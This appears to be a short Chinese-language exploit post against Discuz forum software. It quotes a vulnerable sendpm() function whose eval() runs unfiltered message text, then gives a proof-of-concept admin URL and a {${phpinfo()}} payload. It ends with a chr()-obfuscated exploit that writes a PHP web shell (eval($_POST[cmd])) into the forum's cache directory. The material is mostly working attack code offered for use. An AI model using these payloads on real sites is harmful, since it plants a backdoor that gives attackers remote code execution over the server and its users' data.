global.func.php

1. function sendpm($toid, $subject, $message, $fromid = '') {
   
2. if($fromid === '') {
   
3. require_once DISCUZ_ROOT.'./uc_client/client.php';
   
4. $fromid = $discuz_uid;
   
5. }
   
6. if($fromid) {
   
7. uc_pm_send($fromid, $toid, $subject, $message);
   
8. } else {
   
9. global $promptkeys;
   
10. if(in_array($subject, $promptkeys)) {
    
11. $type = $subject;
    
12. } else {
    
13. extract($GLOBALS, EXTR_SKIP);
    
14. require_once DISCUZ_ROOT.'./include/discuzcode.func.php';
    
15. eval("\$message = addslashes("".$message."");"); //无过滤，可插入代码
    
16. $type = 'systempm';
    
17. $message = '<div>'.$subject.' {time}'.discuzcode($message, 1, 0).'</div>';
    
18. }
    
19. sendnotice($toid, $message, $type);
    
20. }
    
21. }

复制代码

POC：
1. admincp.php?frames=yes&action=members&operation=newsletter
2. 发短消息，通知内容为：{${phpinfo()}}

EXP - (fputs(fopen('forumdata/cache/cache_01.php','w'),'<?php eval($_POST[cmd])?>');) :

${${eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(102).chr(111).chr(114).chr(117).chr(109).chr(100).chr(97).chr(116).chr(97).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(95).chr(48).chr(49).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))}}

看着都晕